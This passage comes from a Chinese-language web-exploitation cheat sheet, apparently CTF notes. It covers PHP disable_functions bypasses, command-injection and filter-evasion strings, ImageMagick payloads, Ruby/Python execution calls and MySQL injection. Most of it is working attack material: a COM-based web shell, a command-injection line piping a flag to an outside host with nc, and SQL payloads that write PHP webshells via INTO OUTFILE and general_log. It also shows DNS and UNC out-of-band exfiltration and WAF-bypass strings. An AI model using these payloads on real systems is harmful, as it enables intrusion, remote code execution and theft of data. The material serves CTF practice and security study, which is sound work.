getenv(\"CMD\");\n            system(cmd);\n            return 0;\n        }\n        ```\n\n        ```php\n        putenv('PATH=\u002Ftmp\u002Fmydir');\n        putenv('CMD=\u002Freadflag > \u002Ftmp\u002Fmydir\u002Foutput');\n        chmod('\u002Ftmp\u002Fmydir\u002Fgs','0777');\n        $img = new Imagick('\u002Ftmp\u002Fmydir\u002F1.ept');\n        ```\n- dl()\n    - 載入 module\n    - `dl(\"rce.so\")`\n    - This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.\n\n- FFI\n    - PHP 7.4 feature\n    - preloading + ffi\n    - e.g. [RCTF 2019 - nextphp](https:\u002F\u002Fgithub.com\u002Fzsxsoft\u002Fmy-ctf-challenges\u002Ftree\u002Fmaster\u002Frctf2019\u002Fnextphp)\n\n    ```php\n    \u003C?php\n    $ffi = FFI::cdef(\"int system (const char* command);\");\n    $ffi->system(\"id\");\n    ```\n\n- [FastCGI Extension](https:\u002F\u002Fgithub.com\u002Fw181496\u002FFuckFastcgi)\n\n- Windows COM\n    - 條件\n        - `com.allow_dcom = true`\n        - `extension=php_com_dotnet.dll`\n    - PoC:\n\n    ```php\n    \u003C?php\n    $command = $_GET['cmd'];\n    $wsh = new COM('WScript.shell'); \u002F\u002F Shell.Application 也可\n    $exec = $wsh->exec(\"cmd \u002Fc\".$command);\n    $stdout = $exec->StdOut();\n    $stroutput = $stdout->ReadAll();\n    echo $stroutput;\n    ```\n\n- iconv\n    - https:\u002F\u002Fgist.github.com\u002FLoadLow\u002F90b60bd5535d6c3927bb24d5f9955b80\n    - 條件\n        - 可以上傳 `.so`, `gconv-modules`\n        - 可以設定環境變數\n    - `iconv()`, `iconv_strlen()`, php:\u002F\u002Ffilter的`convert.iconv`\n\n- [l3mon\u002FBypass_Disable_functions_Shell](https:\u002F\u002Fgithub.com\u002Fl3m0n\u002FBypass_Disable_functions_Shell)\n\n- [JSON UAF Bypass](https:\u002F\u002Fgithub.com\u002Fmm0r1\u002Fexploits\u002Ftree\u002Fmaster\u002Fphp-json-bypass)\n    - 7.1 - all versions to date\n    - 7.2 \u003C 7.2.19 (released: 30 May 2019)\n    - 7.3 \u003C 7.3.6 (released: 30 May 2019)\n- [GC Bypass](https:\u002F\u002Fgithub.com\u002Fmm0r1\u002Fexploits\u002Ftree\u002Fmaster\u002Fphp7-gc-bypass)\n    - 7.0 - all versions to date\n    - 7.1 - all versions to date\n    - 7.2 - all versions to date\n    - 7.3 - all versions to date\n\n- [Backtrace Bypass](https:\u002F\u002Fgithub.com\u002Fmm0r1\u002Fexploits\u002Ftree\u002Fmaster\u002Fphp7-backtrace-bypass)\n    - 7.0 - all versions to date\n    - 7.1 - all versions to date\n    - 7.2 - all versions to date\n    - 7.3 - all versions to date\n    - 7.4 - all versions to date\n\n- PHP SplDoublyLinkedList UAF Sandbox Escape\n    - https:\u002F\u002Fssd-disclosure.com\u002Fssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape\u002F\n    - Affected\n        - PHP version 8.0 (alpha)\n        - PHP version 7.4.10 and prior (probably also future versions will be affected)\n    - Example\n        - [RealWorld CTF 3rd - MoP2021](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002FRealWorldCTF2021\u002FMoP2021)\n\n- 族繁不及備載......        \n\n## 其他\n\n- 大小寫不敏感\n    - `\u003C?PhP sYstEm(ls);`\n- `echo (true ? 'a' : false ? 'b' : 'c');`\n    - `b`\n- ```echo `whoami`; ```\n    - `kaibro`\n- 正規表達式 `.` 不匹配換行字元 `%0a`\n- 正規表達式常見誤用:\n    - `preg_match(\"\u002F\\\\\u002F\", $str)`\n    - 匹配反斜線應該要用 `\\\\\\\\` 而不是 `\\\\`\n- 運算優先權問題\n    - `$a = true && false;`\n        - `$a` => `false`\n    - `$a = true and false;`\n        - `$a` => `true`\n- chr()\n    - 大於 256 會 mod 256\n    - 小於 0 會加上 256 的倍數，直到 >0\n    - Example:\n        - `chr(259) === chr(3)`\n        - `chr(-87) === chr(169)`\n\n- 遞增\n    - `$a=\"9D9\"; var_dump(++$a);`\n        - `string(3) \"9E0\"`\n    - `$a=\"9E0\"; var_dump(++$a);`\n        - `float(10)`\n\n- 算數運算繞Filter\n    - `%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f`\n        - `system`\n        - 可用在限制不能出現英數字時 or 過濾某些特殊符號\n    - ```$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');```\n        - `assert`\n    - 其他\n        - `~`, `++`等運算，也都可用類似概念構造\n\n- 花括號\n    - 陣列、字串元素存取可用花括號\n    - `$array{index}` 同 `$array[index]`\n\n- filter_var\n    - `filter_var('http:\u002F\u002Fevil.com;google.com', FILTER_VALIDATE_URL)`\n        - False\n    - `filter_var('0:\u002F\u002Fevil.com;google.com', FILTER_VALIDATE_URL)`\n        - True\n    - ```filter_var('\"aaaaa{}[]()\\'|!#$%*&^-_=+`,.\"@b.c',FILTER_VALIDATE_EMAIL) ```\n        - `\"aaaaa{}[]()'|!#$%*&^-_=+`,.\"@b.c` (OK)\n    - `filter_var('aaa.\"bbb\"@b.c',FILTER_VALIDATE_EMAIL)`\n        - `aaa.\"bbb\"@b.c` (OK)\n    - `filter_var('aaa\"bbb\"@b.c',FILTER_VALIDATE_EMAIL)`\n        - False\n\n- json_decode\n    - 不直接吃換行字元和 \\t 字元\n    - 但可以吃 '\\n' 和 '\\t'\n        - 會轉成換行字元和 Tab\n    - 也吃`\\uxxxx`形式\n        - `json_decode('{\"a\":\"\\u0041\"}')`\n\n\n- === bug\n    - `var_dump([0 => 0] === [0x100000000 => 0])`\n        - 某些版本會是 True\n        - ASIS 2018 Qual Nice Code\n    - https:\u002F\u002F3v4l.org\u002FsUEMG\n- openssl_verify\n    - 預測採用 SHA1 來做簽名，可能有 SHA1 Collision 問題\n    - e.g. [DEFCON CTF 2018 Qual - EasyPisy](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002Fdefcon2018-qual\u002FEasyPisy)\n- Namespace\n    - PHP 的預設 Global space 是 `\\`\n    - e.g. `\\system('ls');`\n\n- basename (php bug 62119)\n    - `basename(\"index.php\u002Fconfig.php\u002F喵\")`\n        - `config.php`\n    - Example: [zer0pts CTF 2020 - Can you guess it?](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002Fzer0pts2020\u002Fcan_you_guess_it)\n\n- strip_tags (php bug 78814)\n    - php version \u003C= 7.4.0\n    - `strip_tags(\"\u003Cs\u002Ftrong>b\u003C\u002Fstrong>\", \"\u003Cstrong>\")`\n        - `\u003Cs\u002Ftrong>b\u003C\u002Fstrong>`\n    - Example: [zer0pts CTF 2020 - MusicBlog](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002Fzer0pts2020\u002FMusicBlog)\n\n- mb_strpos \u002F mb_substr\n    - 當 `mb_strpos` 讀到 utf-8 leading byte ，他會繼續嘗試往下讀; 遇到 invalid byte 時，前面的內容會被當成一個 character\n        - Example: `mb_strpos(\"\\xf0\\x9fAAA\u003CBB\", '\u003C')` -> `4` \n    - 而 `mb_substr` 則有不一致，當遇到 leading byte 時，會跳過 continuation bytes\n        - Example: `mb_substr(\"\\xf0\\x9fAAA\u003CBB\", 0, 4)` -> `\"\\xf0\\x9fAAA\u003CB\"`\n    - ref: [Joomla XSS](https:\u002F\u002Fwww.sonarsource.com\u002Fblog\u002Fjoomla-multiple-xss-vulnerabilities\u002F)\n- Reflection\n    - PHP8.1 Reflection 可以呼叫 protected\u002Fprivate 函數\n    ```php\n    \u003C?php\n    class ApiController\n    {\n        protected function protectedMethod() {\n            echo \"protected\";\n        }\n\n        public function handle($method)\n        {\n            $refMethod = new ReflectionMethod($this, $method);\n            $refMethod->invoke($this);\n        }\n    }\n\n    $api = new ApiController();\n    $api->handle('protectedMethod');\n    \n    # php 8.1+: protected\n    # \u003C php 8.1: Fatal error\n    ```\n    - [ref](https:\u002F\u002Fkarmainsecurity.com\u002Fdont-call-that-protected-method-vbulletin-rce)\n\n\n# Command Injection\n\n```\n| cat flag\n&& cat flag\n; cat flag\n%0a cat flag\n\"; cat flag\n`cat flag`\ncat $(ls)\n\"; cat $(ls)\n`cat flag | nc kaibro.tw 5278`\n\n. flag\nPS1=$(cat flag)\n\n`echo${IFS}${PATH}|cut${IFS}-c1-1`\n=> \u002F\n```\n\n## ? and *\n- `?` match one character\n    - `cat fl?g`\n    - `\u002F???\u002F??t \u002F???\u002Fp??s??`\n- `*` match 多個\n    - `cat f*`\n    - `cat f?a*`\n\n## 空白繞過\n\n- `${IFS}`\n    - `cat${IFS}flag`\n    - `ls$IFS-alh`\n    - `cat$IFS$2flag`\n- `cat\u003C\u002Fetc\u002Fpasswd`\n- `{cat,\u002Fetc\u002Fpasswd}`\n- `X=$'cat\\x20\u002Fetc\u002Fpasswd'&&$X`\n- ``` IFS=,;`cat\u003C\u003C\u003Cuname,-a` ```\n    - bash only\n\n\n## Keyword繞過\n\n- String Concat\n    - `A=fl;B=ag;cat $A$B`\n- Empty Variable\n    - `cat fl${x}ag`\n    - `cat tes$(z)t\u002Fflag`\n    \n- Environment Variable\n    - `$PATH => \"\u002Fusr\u002Flocal\u002F….blablabla”`\n        - `${PATH:0:1}   => '\u002F'`\n        - `${PATH:1:1}   => 'u'`\n        - `${PATH:0:4}   => '\u002Fusr'`\n    - `${PS2}` \n        - `>`\n    - `${PS4}`\n        - `+`\n- Empty String\n    - `cat fl\"\"ag`\n    - `cat fl''ag`\n        - `cat \"fl\"\"ag\"`\n\n- 反斜線\n    - `c\\at fl\\ag`\n\n## ImageMagick\n\n- CVE-2016-3714 (ImageTragick)\n    - `mvg` 格式包含 https 處理(使用 curl 下載)，可以閉合雙引號\n    - payload:\n    ```mvg\n    push graphic-context\n    viewbox 0 0 640 480\n    fill 'url(https:\u002F\u002Fkaibro.tw\";ls \"-la)'\n    pop graphic-context\n    ```\n- Example\n    - [Google CTF 2019 - GPhotos](https:\u002F\u002Fblog.bushwhackers.ru\u002Fgooglectf-2019-gphotos-writeup\u002F)\n        - `Some Debians appear to have insecure ImageMagick configuration by default`\n        - read file:\n        ```xml\n        \u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        \u003Csvg width=\"120px\" height=\"120px\">\n          \u003Cimage width=\"120\" height=\"120\" href=\"text:\u002Fetc\u002Fpasswd\" \u002F>\n        \u003C\u002Fsvg>\n        ```\n        - copy file (MSL):\n        ```xml\n        \u003Cimage>    \u003C!-- ImageMagick's legend is \"image processing\" so the tag is named \"image\". -->\n          \u003Cread filename=\"image.png\" \u002F>    \u003C!-- To make the legend more compelling \"image.png\" is checked to be a valid image file. -->\n          \u003Cwrite filename=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\" \u002F>    \u003C!-- This line gives access to a hacker accomplishing the mission of the MSL format and ImageMagick in general -->\n        \u003C\u002Fimage>\n        ```\n    - [TokyoWesterns CTF 2018 - Slack emoji converter](https:\u002F\u002Fctftime.org\u002Fwriteup\u002F10912)\n        - ghostscript RCE\n    - [TokyoWesterns CTF 2019 - Slack emoji converter Kai](https:\u002F\u002Fbalsn.tw\u002Fctf_writeup\u002F20190831-tokyowesternsctf\u002F#slack-emoji-converter-kai-(unsolved))\n        - ghostscript RCE\n\n\n## Ruby Command Executing\n\n- `open(\"| ls\")`\n- `IO.popen(\"ls\").read`\n- `Kernel.exec(\"ls\")`\n- `Kernel.method(\"open\").call(\"|ls\").read()`\n- ``` `ls` ```\n- `system(\"ls\")`\n- `eval(\"ruby code\")`\n    - Non-Alphanumeric example: [HITCON CTF 2015 - Hard to say](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002Fhitcon2015\u002Fhard-to-say)\n        - `$$\u002F$$` => 1\n        - `'' \u003C\u003C 97 \u003C\u003C 98 \u003C\u003C 99` => \"abc\"\n        - `$:`即`$LOAD_PATH`\n- `exec(\"ls\")`\n- `%x{ls}` \u002F `%x'ls'` \u002F `%x[ls]` \u002F `%x(ls)` \u002F `%x;ls;`\n- `\"Process\".constantize.spawn(\"id\")`\n- `Process.spawn(\"id\")`\n- `PTY.spawn(\"id\")`\n- Net::FTP\n    - CVE-2017-17405\n    - use `Kernel#open`\n\n## Python Command Executing\n- `os.system(\"ls\")`\n- `os.popen(\"ls\").read()`\n- `os.execl(\"\u002Fbin\u002Fls\",\"\")`\n- `os.execlp(\"ls\",\"\")`\n- `os.execv(\"\u002Fbin\u002Fls\",[''])`\n- `os.execvp(\"\u002Fbin\u002Fls\",[\"\"])`\n- `subprocess.call(\"ls\")`\n    - `subprocess.call(\"ls|cat\",shell=False)` => Fail\n    - `subprocess.call(\"ls|cat\",shell=True)` => Correct\n- `eval(\"__import__('os').system('ls')\")`\n- `exec(\"__import__('os').system('ls')\")`\n- `commands.getoutput('ls')`\n\n## Read File\n\n- diff \u002Fetc\u002Fpasswd \u002Fflag\n- paste \u002Fflag\n- bzmore \u002Fflag\n- bzless \u002Fflag\n- static-sh \u002Fflag\n- ...\n\n# SQL Injection\n\n\n## MySQL\n\n- 子字串：\n    - `substr(\"abc\",1,1) => 'a'`\n    - `mid(\"abc\", 1, 1)  => 'a'`\n- Ascii function\n    - `ascii('A') => 65 `\n- Char function\n    - `char(65) => 'a'`\n- Concatenation\n    - `CONCAT('a', 'b') => 'ab'`\n        - 如果任何一欄為 NULL，則返回 NULL\n    - `CONCAT_WS(分隔符, 字串1, 字串2...)`\n        - `CONCAT_WS('@', 'gg', 'inin')` => `gg@inin`\n- Cast function\n    - `CAST('125e342.83' AS signed) => 125`\n    - `CONVERT('23',SIGNED) => 23`\n- Delay function\n    - `sleep(5)`\n    - `BENCHMARK(count, expr)`\n- 空白字元\n    - `09 0A 0B 0C 0D A0 20`\n- File-read function\n    - `LOAD_FILE('\u002Fetc\u002Fpasswd')`\n    - `LOAD DATA INFILE`\n        - Client 讀 Server 文件\n        - 一樣受 `secure_file_priv`, `FILE` privilege 限制 (ref: [link](https:\u002F\u002Fdev.mysql.com\u002Fdoc\u002Frefman\u002F8.0\u002Fen\u002Fload-data.html))\n    - `LOAD DATA LOCAL INFILE`\n        - Server 讀 Client 文件\n        - `LOAD DATA LOCAL INFILE '\u002Fetc\u002Fhosts' INTO TABLE test FIELDS TERMINATED BY \"\\n\";`\n        - 不需要 `FILE` privilege，且任意目錄檔案皆可讀 (只要 Client 有權限即可)\n        - support UNC Path\n            - `LOAD DATA LOCAL INFILE '\\\\\\\\172.16.136.153\\\\test' into table mysql.test FIELDS TERMINATED BY \"\\n\";`\n                - stealing net-NTLM hash\n        - Trigger phar deserialization\n            - `LOAD DATA LOCAL INFILE 'phar:\u002F\u002Ftest.phar\u002Ftest' INTO TABLE a LINES TERMINATED BY '\\n'`\n            - 非 default 設置\n              ```\n              [mysqld]\n              local-infile=1\n              secure_file_priv=\"\"\n              ```\n\n        - Tool\n            - [Rogue-MySQL-Server](https:\u002F\u002Fgithub.com\u002Fallyshka\u002FRogue-MySql-Server)\n            - [MysqlClientAttack](https:\u002F\u002Fgithub.com\u002Flcark\u002FMysqlClientAttack)\n        - Example\n            - [N1CTF 2019 - sql_manage](https:\u002F\u002Fxz.aliyun.com\u002Ft\u002F6300)\n            - [HITCON 2019 - GoGoPowerSQL](https:\u002F\u002Fgithub.com\u002Forangetw\u002FMy-CTF-Web-Challenges\u002Fblob\u002Fmaster\u002FREADME.md#gogo-powersql)\n            - [0CTF 2018 Final - h4x0rs.club](https:\u002F\u002Fl4wio.github.io\u002FCTF-challenges-by-me\u002F0ctf_final-2018\u002F0ctf_tctf_2018_slides.pdf)\n            - [VolgaCTF 2018 - Corp Monitoring](https:\u002F\u002Fw00tsec.blogspot.com\u002F2018\u002F04\u002Fabusing-mysql-local-infile-to-read.html)\n    - load_file with WebDAV\n        - `load_file('\u002F\u002Fkaibro.tw@9478\u002Fmeow.php')` \u002F `load_file('\\\\\\\\kaibro.tw@9478\u002Fmeow.php')`\n            - Windows 環境有開 WebClient Service 時，可以透過 MySQL load_file + UNC Path 發送 HTTP Reuqest 到指定 URL (透過 `@` 指定 Port)\n            - 實戰中，站庫分離環境，若後端 MySQL 主機有開 Web 環境，則可透過該方法先寫 webshell 再送 http request 觸發執行\n        - Example\n            - [Balsn CTF 2023 - ginowa](https:\u002F\u002Fgithub.com\u002Fw181496\u002FMy-CTF-Challenges\u002Ftree\u002Fmaster\u002FBalsn-CTF-2023#ginowa)\n- File-write\n    - `INTO DUMPFILE`\n        - 適用 binary (寫入同一行)\n    - `INTO OUTFILE`\n        - 適用一般文本 (有換行)\n    - 寫webshell\n        - 需知道可寫路徑\n        - `UNION SELECT \"\u003C? system($_GET[1]);?>\",2,3 INTO OUTFILE \"\u002Fvar\u002Fwww\u002Fhtml\u002Ftemp\u002Fshell.php\"`\n    - 權限\n        - `SELECT file_priv FROM mysql.user`\n    - secure-file-priv\n        - 限制 MySQL 導入導出\n            - load_file, into outfile, load data 等\n        - 運行時無法更改\n        - MySQL 5.5.53 前，該變數預設為空(可以導入導出)\n        - e.g. `secure_file_priv=E:\\`\n            - 限制導入導出只能在 E:\\ 下\n        - e.g. `secure_file_priv=null`\n            - 限制不允許導入導出    \n        - secure-file-priv 限制下用 general_log 拿 shell\n        ```\n        SET global general_log='on';\n\n        SET global general_log_file='C:\u002FphpStudy\u002FWWW\u002Fcmd.php';\n\n        SELECT '\u003C?php assert($_POST[\"cmd\"]);?>';\n        ```\n- IF語句\n    - IF(condition,true-part,false-part)\n    - `SELECT IF (1=1,'true','false')`\n- Hex\n    - `SELECT X'5061756c';  =>  paul`\n    - `SELECT 0x5061756c; => paul`\n    - `SELECT 0x5061756c+0 => 1348564332`\n    - `SELECT load_file(0x2F6574632F706173737764);`\n        - \u002Fetc\u002Fpasswd\n    - 可繞過一些 WAF\n        - e.g. 用在不能使用單引號時(`'` => `\\'`)\n         - CHAR() 也可以達到類似效果\n             - `'admin'` => `CHAR(97, 100, 109, 105, 110)`\n- 註解：\n    - `#`\n    - `--`\n    - `\u002F**\u002F`\n        - 一個 `*\u002F` 可以閉合前面多個 `\u002F*`\n    - `\u002F*! 50001 select * from test *\u002F`\n        - 可探測版本\n        - e.g. `SELECT \u002F*!32302 1\u002F0, *\u002F 1 FROM tablename`\n    - `\n        - MySQL \u003C= 5.5\n    - `;`\n        - PDO 支援多語句\n- information_schema\n    - mysql >= 5.0\n- Stacking Query\n    - 預設 PHP+MySQL 不支援 Stacking Query\n    - 但 PDO 可以 Stacking Query\n- 其它：\n    - @@version\n        - 同 version()\n    - user()\n        - current_user\n        - current_user()\n        - SESSION_USER()\n        - SYSTEM_USER()\n        - current user \n    - system_user()\n        - database system user\n    - database()\n        - schema()\n        - current database\n    - @@basedir\n        - MySQL 安裝路徑\n    - @@datadir\n        - Location of db file\n    - @@plugin_dir\n    - @@hostname\n    - @@version_compile_os\n        - Operating System\n    - @@version_compile_machine\n    - @@innodb_version\n    - @@global.secure_file_priv\n    - MD5()\n    - SHA1()\n    - COMPRESS() \u002F UNCOMPRESS()\n    - group_concat()\n        - 合併多條結果\n            - e.g. `select group_concat(username) from users;` 一次返回所有使用者名\n        - group_concat_max_len = 1024 (default)\n    - json_arrayagg()\n        - MySQL >= 5.7.22\n        - 概念同上\n            - e.g. `SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES`\n    - greatest()\n        - `greatest(a, b)`返回 a, b 中最大的\n        - `greatest(1, 2)=2`\n            - 1\n        - `greatest(1, 2)=1`\n            - 0\n    - between a and b\n        - 介於 a 到 b 之間\n        - `greatest(1, 2) between 1 and 3`\n            - 1\n    - regexp\n        - `SELECT 'abc' regexp '.*'`\n            - 1\n    - Collation\n        - `*_ci` case insensitive collation 不區分大小寫\n        - `*_cs` case sensitive collation 區分大小寫\n        - `*_bin` binary case sensitive collation 區分大小寫\n\n- Union Based\n    - 判斷 column 數\n        - `union select 1,2,3...N`\n        - `order by N` 找最後一個成功的 N\n    - `AND 1=2 UNION SELECT 1, 2, password FROM admin--+`\n    - `LIMIT N, M` 跳過前 N 筆，抓 M 筆\n    - 爆資料庫名\n        - `union select 1,2,schema_name from information_schema.schemata limit 1,1`\n    - 爆表名\n        - `union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1`\n        - `union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1`\n    - 爆Column名\n        - `union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1`\n    - MySQL User\n        - `SELECT CONCAT(user, \":\" ,password) FROM mysql.user;`\n- Error Based\n    - 長度限制\n        - 錯誤訊息有長度限制\n        - `#define ERRMSGSIZE (512)`\n    - Overflow\n        - MySQL > 5.5.5 overflow 才會有錯誤訊息\n        - `SELECT ~0` => `18446744073709551615`\n        - `SELECT ~0 + 1` => ERROR\n        - `SELECT exp(709)` => `8.218407461554972e307`\n        - `SELECT exp(710)` => ERROR\n        - 若查詢成功，會返回0\n            - `SELECT exp(~(SELECT * FROM (SELECT user())x));`\n            - `ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'`\n        - `select (select(!x-~0)from(select(select user())x)a);`\n            - `ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'`\n            - MySQL > 5.5.53 不會顯示查詢結果\n    - xpath\n        - extractvalue (有長度限制，32位)\n            - `select extractvalue(1,concat(0x7e,(select @@version),0x7e));`\n            - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'`\n        - updatexml (有長度限制，32位)\n            - `select updatexml(1,concat(0x7e,(select @@version),0x7e),1);`\n            - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'`\n    - 主鍵重複\n        - `select count(*) from test group by concat(version(),floor(rand(0)*2));`\n            - `ERROR 1062 (23000): Duplicate entry '5.7.171' for key '\u003Cgroup_key>'`\n    - 其它函數 (5.7)\n        - `select ST_LatFromGeoHash(version());`\n        - `select ST_LongFromGeoHash(version());`\n        - `select GTID_SUBSET(version(),1);`\n        - `select GTID_SUBTRACT(version(),1);`\n        - `select ST_PointFromGeoHash(version(),1);`\n    - 爆庫名、表名、字段名\n        - 當過濾 `information_schema` 等關鍵字時，可以用下面方法爆庫名\n            - `select 1,2,3 from users where 1=abc();`\n                - `ERROR 1305 (42000): FUNCTION fl4g.abc does not exist`\n        - 爆表名\n            - `select 1,2,3 from users where Polygon(id);`\n            - ``select 1,2,3 from users where linestring(id);``\n                - ```ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing```\n        - 爆Column\n            - `select 1,2,3 from users where (select * from  (select * from users as a join users as b)as c);`\n                - `ERROR 1060 (42S21): Duplicate column name 'id'`\n            - `select 1,2,3 from users where (select * from  (select * from users as a join users as b using(id))as c);`\n                - `ERROR 1060 (42S21): Duplicate column name 'username'`\n- Blind Based (Time\u002FBoolean)\n    - Boolean\n        - 「有」跟「沒有」\n        - `id=87 and length(user())>0`\n        - `id=87 and length(user())>100`\n        - `id=87 and ascii(mid(user(),1,1))>100`\n        - `id=87 or ((select user()) regexp binary '^[a-z]')`\n    - Time\n        - 用在啥結果都看不到時\n        - `id=87 and if(length(user())>0, sleep(10), 1)=1`\n        - `id=87 and if(length(user())>100, sleep(10), 1)=1`\n        - `id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1`\n\n- Out of Bnad\n    - Windows only\n    - `select load_file(concat(\"\\\\\\\\\",schema_name,\".dns.kaibro.tw\u002Fa\")) from information_schema.schemata`\n\n- 繞過空白檢查\n    - `id=-1\u002F**\u002FUNION\u002F**\u002FSELECT\u002F**\u002F1,2,3`\n    - `id=-1%09UNION%0DSELECT%0A1,2,3`\n    - `id=(-1)UNION(SELECT(1),2,3)`\n\n- 寬字節注入\n    - `addslashes()` 會讓 `'` 變 `\\'`\n    - 在 `GBK` 編碼中，中文字用兩個 Bytes 表示\n        - 其他多字節編碼也可\n        - 但要低位範圍有包含 `0x5c`(`\\`)\n    - 第一個 Byte 要 >128 才是中文\n    - `%df'` => `%df\\'` => `運'` (成功逃逸)\n\n- Order by注入\n    - 可以透過 `asc`、`desc` 簡單判斷\n        - `?sort=1 asc`\n        - `?sort=1 desc`\n    - 後面不能接 UNION\n    - 已知字段名 (可以盲注)\n        - `?order=IF(1=1, username, password)`\n    - 利用報錯\n        - `?order=IF(1=1,1,(select 1 union select 2))` 正確\n        - `?order=IF(1=2,1,(select 1 union select 2))` 錯誤\n        - `?order=IF(1=1,1,(select 1 from information_schema.tables))` 正常\n        - `?order=IF(1=2,1,(select 1 from information_schema.tables))` 錯誤\n    - Time Based\n        - `?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` 正常\n        - `?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` sleep 2秒\n\n- group by with rollup\n    - `' or 1=1 group by pwd with rollup limit 1 offset 2#`\n\n- 將字串轉成純數字\n    - 字串 -> 16進位 -> 10進位\n    - `conv(hex(YOUR_DATA), 16, 10)`\n    - 還原：`unhex(conv(DEC_DATA,10,16))`\n    - 需注意不要 Overflow\n\n- 不使用逗號\n    - `LIMIT N, M` => `LIMIT M OFFSET N`\n    - `mid(user(), 1, 1)` => `mid(user() from 1 for 1)`\n    - `UNION SELECT 1,2,3` => `UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)`\n\n- 快速查找帶關鍵字的表\n    - `select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');\n    `\n\n- 不知列名、不能訪問 information_schema 爆數據\n    - 須知道表名\n    - 例如: artice、admin\n    - `select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x`\n    - 列名不夠，繼續加 4,5,6,7,... 一直到猜對列名個數\n\n- innodb\n    - 表引擎為 innodb\n    - MySQL > 5.5\n    - innodb_table_stats、innodb_table_index存放所有庫名表名\n    - `select table_name from mysql.innodb_table_stats where database_name=資料庫名;`\n    - Example: [Codegate2018 prequal - simpleCMS](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002Fcodegate2018-prequal\u002FsimpleCMS)\n\n- sys\n    - `sys.statements_with_full_table_scans`\n    - 可以撈表名\n    - 詳見 [PPP simpleCMS writeup](https:\u002F\u002Fgithub.com\u002Fpwning\u002Fpublic-writeup\u002Ftree\u002Fmaster\u002Fcodegate2018\u002FSimple%20CMS)\n    - `select query from sys.statements_with_full_table_scans`\n    - MySQL 5.7\n\n- Bypass WAF\n\n    - `select password` => `SelEcT password` (大小寫)\n    - `select password` => `select\u002F**\u002Fpassword` (繞空白)\n    - `select password` => `s%65lect%20password` (URLencode)\n    - `select password` => `select(password)` (繞空白)\n    - `select password` => `select%0apassword` (繞空白)\n        - %09, %0a, %0b, %0c, %0d, %a0\n    - `select password from admin` => `select password \u002F*!from*\u002F admin` (MySQL註解)\n    - `information_schema.schemata` => ``` `information_schema`.schemata ``` (繞關鍵字\u002F空白)\n        - ``` select xxx from`information_schema`.schemata``` \n    - `select pass from user where id='admin'` => `select pass from user where id=0x61646d696e` (繞引號)\n        - `id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))`\n    - `?id=0e2union select 1,2,3` (科學記號)\n        - `?id=1union select 1,2,3`會爛\n        - `?id=0e1union(select~1,2,3)` (~)\n        - `?id=.1union select 1,2,3` (點)\n    - `WHERE` => `HAVING` (繞關鍵字)\n    - `AND` => `&&` (繞關鍵字)\n        - `OR` => `||`\n        - `=` => `LIKE`\n        - `a = 'b'` => `not a > 'b' and not a \u003C 'b'`\n        - `> 10` => `not between 0 and 10`\n    - `LIMIT 0,1` => `LIMIT 1 OFFSET 0` (繞逗號)\n        - `substr('kaibro',1,1)` => `substr('kaibro' from 1 for 1)`\n    - Multipart\u002Fform-data繞過\n        - http:\u002F\u002Fxdxd.love\u002F2015\u002F12\u002F18\u002F%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf\u002F\n        - Example: [Real World CTF 4th - Hack into Skynet](https:\u002F\u002Fgithub.com\u002Fw181496\u002FCTF\u002Ftree\u002Fmaster\u002FRealWorldCTF2022\u002FHack_into_Skynet)\n    - 偽造 User-Agent\n        - e.g. 有些 WAF 不封 google bot\n\n- phpMyAdmin\n    - 寫文件 getshell\n        - 條件\n            - root 權限\n            - 已知 web 路徑\n            - 有寫檔權限\n        - `select \"\u003C?php phpinfo();?>\" INTO OUTFILE  \"c:\\\\phpstudy\\\\www\\\\shell.php\"`\n    - general_log getshell\n        - 條件\n            - 讀寫權限\n            - 已知 web 路徑\n        - step1. 開啟日誌: `set global general_log = \"ON\";`\n        - step2. 指定日誌文件: `set global general_log_file = \"\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php\";`\n        - step3. 寫入php: `select \"\u003C?php phpinfo();?>\";`\n    - slow_query getshell\n        - step1. 設置日誌路徑: `set GLOBAL slow_query_log_file='\u002Fvar\u002Fwww\u002Fhtml\u002Fshell.php';`\n        - step2. 開啟 slow_query_log: `set GLOBAL slow_query_log=on;`\n        - step3. 寫入 php: `select '\u003C?php phpinfo();?>' from mysql.db where sleep(10);`\n    - CVE-2018-19968\n        - phpMyAdmin versions: 4.8.0 ~ 4.8.3\n        - 